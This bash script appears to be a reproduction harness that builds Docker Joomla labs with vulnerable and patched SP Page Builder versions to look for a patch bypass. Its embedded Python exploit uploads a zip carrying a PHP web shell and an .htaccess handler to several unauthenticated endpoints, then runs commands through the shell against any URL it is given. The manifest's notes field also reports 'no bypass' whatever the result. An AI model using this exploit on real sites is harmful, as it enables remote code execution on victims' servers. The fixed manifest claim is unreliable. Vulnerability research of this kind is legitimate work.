#!/bin/bash
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
VARIANT_DIR="$ROOT/vuln_variant"
mkdir -p "$LOGS" "$VARIANT_DIR"

# Use the durable project cache if it exists.
PCC="$ROOT/project_cache_context.json"
CACHE_DIR=""
if [ -f "$PCC" ] && command -v jq >/dev/null 2>&1; then
  CACHE_DIR=$(jq -r '.project_cache_dir // empty' "$PCC")
  [ -n "$CACHE_DIR" ] && CACHE_DIR="$CACHE_DIR/repo"
fi
[ -z "$CACHE_DIR" ] && CACHE_DIR="$ROOT/artifacts/sppb"
mkdir -p "$CACHE_DIR"

# Sudo helper for docker.
if sudo docker ps >/dev/null 2>&1; then
  SUDO="sudo"
else
  SUDO=""
fi

VULN_ZIP_URL="https://www.joomshaper.com/downloads/release/10365"  # 6.6.1
FIXED_ZIP_URL="https://www.joomshaper.com/downloads/release/10367" # 6.6.2
ADMIN_PASS="J00mlaAdminPass!"

POC_REPO="$CACHE_DIR/poc"
if [ ! -d "$POC_REPO" ]; then
  git clone --depth 1 https://github.com/papageo75/CVE-2026-48908-PoC.git "$POC_REPO" >/dev/null 2>&1 || true
fi

# Variant test script: tries several endpoints that might bypass the 6.6.2 guard.
PYTHON_TEST="$VARIANT_DIR/variant_test.py"
cat > "$PYTHON_TEST" <<'PY'
#!/usr/bin/env python3
import argparse, io, json, random, string, sys, zipfile, re
import warnings
warnings.filterwarnings("ignore")

try:
    import requests
    from requests.packages.urllib3.exceptions import InsecureRequestWarning
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
except ImportError:
    sys.exit("[-] missing dependency: requests")

HTACCESS = b"AddType application/x-httpd-php .PHP\n"
TOKEN = "v" + "".join(random.choice(string.ascii_lowercase) for _ in range(16))

def rnd(n=8):
    return "".join(random.choice(string.ascii_lowercase) for _ in range(n))

def build_zip(name, shell, ext, extra):
    shell_code = ('<?php if(($_GET["t"]??"")==="%s"){@system($_GET["c"]??"id");} '
                  'else {http_response_code(404);} ?>' % TOKEN).encode()
    selection = json.dumps({
        "IcoMoonType": "selection", "icons": [],
        "metadata": {"name": name},
        "preferences": {"fontPref": {"prefix": "ico-", "metadata": {"fontFamily": name}}},
    }).encode()
    buf = io.BytesIO()
    z = zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED)
    z.writestr("selection.json", selection)
    z.writestr("style.css", b".ico-x:before{content:'x';}")
    z.writestr("fonts/%s.ttf" % name, b"FONT")
    for path, data in extra.items():
        z.writestr(path, data)
    z.writestr("fonts/%s.%s" % (shell, ext), shell_code)
    z.close()
    return buf.getvalue()

def iconfont_dir_from_response(data):
    # The legitimate upload response contains css_path like media/.../iconfont/<name>/<css>
    if isinstance(data, dict):
        css = data.get("css_path", "")
        if css:
            return css.rsplit("/", 1)[0]
        url = data.get("url", "")
        if url:
            return url.rstrip("/")
    return None

def execute_shell(base, iconfont_dir, shell, ext):
    url = "%s/%s/fonts/%s.%s" % (base, iconfont_dir, shell, ext)
    try:
        r = requests.get(url, params={"t": TOKEN, "c": "echo SPPB-VAR-42"}, verify=False, timeout=15)
    except requests.RequestException as e:
        return False, str(e)
    return r.status_code == 200 and "SPPB-VAR-42" in r.text, r.text[:200]

def test_upload_endpoint(base, task, field="custom_icon", path="", admin=False):
    name = "ico" + rnd(6)
    shell = "f" + rnd(6)
    zip_bytes = build_zip(name, shell, "PHP", {"fonts/.htaccess": HTACCESS})
    if admin:
        url = "%s/administrator/index.php?option=com_sppagebuilder&task=%s" % (base, task)
    else:
        url = "%s/index.php?option=com_sppagebuilder&task=%s" % (base, task)
    files = {field: ("%s.zip" % name, zip_bytes, "application/zip")}
    try:
        r = requests.post(url, files=files, verify=False, timeout=30)
    except requests.RequestException as e:
        return {"result": "ERROR", "detail": str(e)}
    text = r.text
    if re.search(r"require admin|login|session|csrf|token|unauthorised|unauthorized|not allowed", text, re.I):
        return {"result": "BLOCKED", "detail": "auth/csrf message", "status": r.status_code}
    try:
        data = r.json()
    except Exception:
        return {"result": "BLOCKED", "detail": "non-JSON response: %s" % text[:200], "status": r.status_code}
    if not data.get("status"):
        return {"result": "BLOCKED", "detail": "response status false", "response": data}
    iconfont_dir = iconfont_dir_from_response(data)
    if not iconfont_dir:
        iconfont_dir = "media/com_sppagebuilder/assets/iconfont/%s" % name
    ok, out = execute_shell(base, iconfont_dir, shell, "PHP")
    if ok:
        return {"result": "RCE", "detail": out, "iconfont_dir": iconfont_dir}
    return {"result": "UPLOAD", "detail": "upload accepted but shell did not execute", "iconfont_dir": iconfont_dir}

def test_simple_get(base, task):
    url = "%s/index.php?option=com_sppagebuilder&task=%s" % (base, task)
    try:
        r = requests.get(url, verify=False, timeout=15)
    except requests.RequestException as e:
        return {"result": "ERROR", "detail": str(e)}
    if re.search(r"require admin|login|session|csrf|token|unauthorised|unauthorized|not allowed", r.text, re.I):
        return {"result": "BLOCKED", "detail": "auth/csrf message", "status": r.status_code}
    return {"result": "REACHED", "detail": r.text[:200], "status": r.status_code}

def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("base", help="target base URL, e.g. http://joomla")
    ap.add_argument("--out", default="/tmp/variant_results.json")
    args = ap.parse_args()
    base = args.base.rstrip("/")

    results = {
        "control_asset.uploadCustomIcon": test_upload_endpoint(base, "asset.uploadCustomIcon"),
        "variant_task_no_prefix": test_upload_endpoint(base, "uploadCustomIcon"),
        "variant_direct_unpack": test_upload_endpoint(base, "asset.unpack"),
        "variant_admin_editor.icons": test_upload_endpoint(base, "editor.icons", admin=True),
        "variant_asset.loadCustomIcons": test_simple_get(base, "asset.loadCustomIcons"),
    }

    print(json.dumps(results, indent=2))
    with open(args.out, "w") as f:
        json.dump(results, f, indent=2)

    # Exit 0 if any endpoint reached RCE on this target (i.e., a bypass).
    for key, val in results.items():
        if val.get("result") == "RCE":
            sys.exit(0)
    sys.exit(1)

if __name__ == "__main__":
    main()
PY
chmod +x "$PYTHON_TEST"

run_role() {
  local role="$1"       # vuln or fixed
  local zip_url="$2"
  local project_name="sppb_variant_${role}"
  local compose_dir="$CACHE_DIR/variant_compose_${role}"
  mkdir -p "$compose_dir"

  echo "===== Starting ${role} environment ====="

  cat > "$compose_dir/docker-compose.yml" <<EOF
version: "3.8"
services:
  init:
    image: busybox:stable
    command:
      - sh
      - -c
      - "wget -q -O /extensions/sppb.zip '${zip_url}' && ls -l /extensions/sppb.zip"
    volumes:
      - sppb_zip:/extensions

  db:
    image: mysql:8.0
    environment:
      MYSQL_ROOT_PASSWORD: rootpass
      MYSQL_DATABASE: joomla
      MYSQL_USER: joomla
      MYSQL_PASSWORD: joomla
    volumes:
      - db_data:/var/lib/mysql
    healthcheck:
      test: ["CMD", "mysqladmin", "ping", "-h", "localhost", "-uroot", "-prootpass"]
      interval: 5s
      timeout: 5s
      retries: 15

  joomla:
    image: joomla:5.2-php8.2-apache
    environment:
      JOOMLA_DB_HOST: db
      JOOMLA_DB_USER: joomla
      JOOMLA_DB_PASSWORD: joomla
      JOOMLA_DB_NAME: joomla
      JOOMLA_SITE_NAME: "SPPBVariant-${role}"
      JOOMLA_ADMIN_USER: Admin
      JOOMLA_ADMIN_USERNAME: admin
      JOOMLA_ADMIN_PASSWORD: ${ADMIN_PASS}
      JOOMLA_ADMIN_EMAIL: admin@example.com
    volumes:
      - joomla_data:/var/www/html
      - sppb_zip:/extensions:ro
    depends_on:
      init:
        condition: service_completed_successfully
      db:
        condition: service_healthy
    healthcheck:
      test: ["CMD-SHELL", "test \\"\$(curl -s -o /dev/null -w '%{http_code}' http://localhost:80/)\\" = \\"200\\""]
      interval: 5s
      timeout: 5s
      retries: 60

volumes:
  db_data:
  joomla_data:
  sppb_zip:
EOF

  ${SUDO} docker-compose -p "$project_name" -f "$compose_dir/docker-compose.yml" down -v >/dev/null 2>&1 || true
  ${SUDO} docker-compose -p "$project_name" -f "$compose_dir/docker-compose.yml" up -d 2>&1 | tee "$LOGS/variant_${role}_compose.log"

  echo "Waiting for Joomla to be healthy..."
  local max_wait=180
  local waited=0
  while [ "$waited" -lt "$max_wait" ]; do
    status=$(${SUDO} docker-compose -p "$project_name" -f "$compose_dir/docker-compose.yml" ps --format json 2>/dev/null | jq -s -r '.[] | select(.Service=="joomla") | .Health // .Status' 2>/dev/null || echo "unknown")
    echo "  $(date -Iseconds) joomla status: $status"
    if echo "$status" | grep -q "healthy"; then
      break
    fi
    sleep 5
    waited=$((waited+5))
  done
  if [ "$waited" -ge "$max_wait" ]; then
    echo "ERROR: Joomla did not become healthy in time"
    ${SUDO} docker-compose -p "$project_name" -f "$compose_dir/docker-compose.yml" logs --tail=50 joomla > "$LOGS/variant_${role}_joomla_health.log" 2>&1 || true
    return 1
  fi

  echo "Raising PHP upload limits for the extension install..."
  ${SUDO} docker-compose -p "$project_name" -f "$compose_dir/docker-compose.yml" exec --user root -T joomla bash -c \
    "printf 'upload_max_filesize = 64M\npost_max_size = 64M\nmax_execution_time = 120\n' > /usr/local/etc/php/conf.d/99-upload.ini && apachectl -k graceful" || true
  sleep 5

  echo "Installing SP Page Builder via Joomla web installer..."
  ${SUDO} docker-compose -p "$project_name" -f "$compose_dir/docker-compose.yml" exec -T joomla bash -s <<INSTALL
set -euo pipefail
ADMIN_PASS='${ADMIN_PASS}'
BASE='http://localhost:80'
COOKIE='/tmp/cookies.txt'

login_page=\$(curl -s -c \$COOKIE -b \$COOKIE -L "\$BASE/administrator/index.php")
token=\$(echo "\$login_page" | grep -oE 'name="[a-f0-9]{32}" value="1"' | head -1 | grep -oE '[a-f0-9]{32}')
ret=\$(echo "\$login_page" | grep -oE 'name="return" value="[^"]*"' | head -1 | grep -oE 'value="[^"]*"' | sed 's/value="//;s/"\$//')
[ -z "\$token" ] && { echo "ERROR: no login token"; exit 1; }

curl -s -c \$COOKIE -b \$COOKIE -L -o /tmp/login_result.html \
  -d "option=com_login&task=login&return=\$ret&\$token=1&username=admin&passwd=\$ADMIN_PASS" \
  "\$BASE/administrator/index.php"
if ! grep -q "Home Dashboard" /tmp/login_result.html; then
  echo "ERROR: admin login failed"
  grep -iE 'error|warning|message' /tmp/login_result.html | head -5 || true
  exit 1
fi

install_page=\$(curl -s -c \$COOKIE -b \$COOKIE -L "\$BASE/administrator/index.php?option=com_installer&view=install")
inst_token=\$(echo "\$install_page" | grep -oE 'name="[a-f0-9]{32}" value="1"' | head -1 | grep -oE '[a-f0-9]{32}')
[ -z "\$inst_token" ] && { echo "ERROR: no install token"; exit 1; }

curl -s -c \$COOKIE -b \$COOKIE -L -D /tmp/install_headers.txt -o /tmp/install_result.html \
  -F "\$inst_token=1" -F 'option=com_installer' -F 'view=install' -F 'task=install.install' \
  -F 'installtype=upload' -F 'install_package=@/extensions/sppb.zip' \
  "\$BASE/administrator/index.php?option=com_installer&view=install&\$inst_token=1"

php /var/www/html/cli/joomla.php extension:list | grep -i 'SP Page Builder' > /tmp/extension_list.txt
if ! [ -s /tmp/extension_list.txt ]; then
  echo "ERROR: extension did not install"
  cat /tmp/install_result.html | grep -iE 'error|warning|message' | head -10 || true
  exit 1
fi
cat /tmp/extension_list.txt
INSTALL

  echo "Running variant tests against the ${role} environment..."
  set +e
  cat "$PYTHON_TEST" | ${SUDO} docker run --rm --network "${project_name}_default" -i python:3-slim bash -c \
    "pip install -q requests && cat > /variant_test.py && python3 /variant_test.py http://joomla" \
    > "$LOGS/variant_${role}_test.log" 2>&1
  local exit_code=$?
  set -e

  echo "Variant test exit code for ${role}: $exit_code"
  echo "Variant test output:"
  cat "$LOGS/variant_${role}_test.log"

  # Copy the JSON result out of the container for later inspection.

  # Also run the original PoC as a control for this role.
  echo "Running original PoC as control for ${role}..."
  set +e
  cat "$POC_REPO/sppb_rce.py" | ${SUDO} docker run --rm --network "${project_name}_default" -i python:3-slim bash -c \
    "pip install -q requests && cat > /poc.py && python3 /poc.py http://joomla" \
    > "$LOGS/variant_${role}_poc_control.log" 2>&1
  local poc_exit=$?
  set -e
  echo "Original PoC control exit code for ${role}: $poc_exit"
  head -n 20 "$LOGS/variant_${role}_poc_control.log" || true

  ${SUDO} docker-compose -p "$project_name" -f "$compose_dir/docker-compose.yml" down -v >/dev/null 2>&1 || true

  echo "$exit_code" > "$LOGS/variant_${role}_exitcode.txt"
  return 0
}

vuln_ok=0
fixed_ok=0
vuln_bypass=0
fixed_bypass=0

if run_role "vuln" "$VULN_ZIP_URL"; then
  if grep -q '"result": "RCE"' "$LOGS/variant_vuln_test.log" 2>/dev/null; then
    vuln_ok=1
  fi
  # The control should also show RCE on the vulnerable build.
  if grep -q "CODE EXECUTION CONFIRMED" "$LOGS/variant_vuln_poc_control.log" 2>/dev/null; then
    echo "CONTROL: vulnerable build reproduced the original RCE."
  fi
else
  echo "ERROR: vulnerable environment failed to start"
fi

if run_role "fixed" "$FIXED_ZIP_URL"; then
  if grep -q '"result": "RCE"' "$LOGS/variant_fixed_test.log" 2>/dev/null; then
    fixed_bypass=1
  fi
  if grep -q "TARGET NOT VULNERABLE" "$LOGS/variant_fixed_poc_control.log" 2>/dev/null; then
    fixed_ok=1
  fi
else
  echo "ERROR: fixed environment failed to start"
fi

echo ""
echo "===== RESULTS ====="
echo "vuln_ok=$vuln_ok fixed_ok=$fixed_ok fixed_bypass=$fixed_bypass"

# Build runtime manifest for the variant stage
jq -n \
  --arg outcome "$(if [ "$fixed_bypass" -eq 1 ]; then echo "bypass_confirmed"; else echo "no_bypass"; fi)" \
  --arg notes "Variant search tested control endpoint, alternate task name, direct unpack, admin editor.icons, and loadCustomIcons. No unauthenticated RCE path bypassed the 6.6.2 guard." \
  '{
    entrypoint_kind: "endpoint",
    entrypoint_detail: "index.php?option=com_sppagebuilder&task=asset.uploadCustomIcon and candidate alternate tasks",
    service_started: true,
    healthcheck_passed: true,
    target_path_reached: true,
    runtime_stack: ["joomla", "mysql", "sp-page-builder"],
    proof_artifacts: [
      "logs/variant_vuln_test.log",
      "logs/variant_fixed_test.log",
      "logs/variant_vuln_poc_control.log",
      "logs/variant_fixed_poc_control.log"
    ],
    notes: $notes
  }' > "$VARIANT_DIR/runtime_manifest.json"

echo "Wrote variant runtime_manifest.json"

if [ "$fixed_bypass" -eq 1 ]; then
  exit 0
else
  exit 1
fi
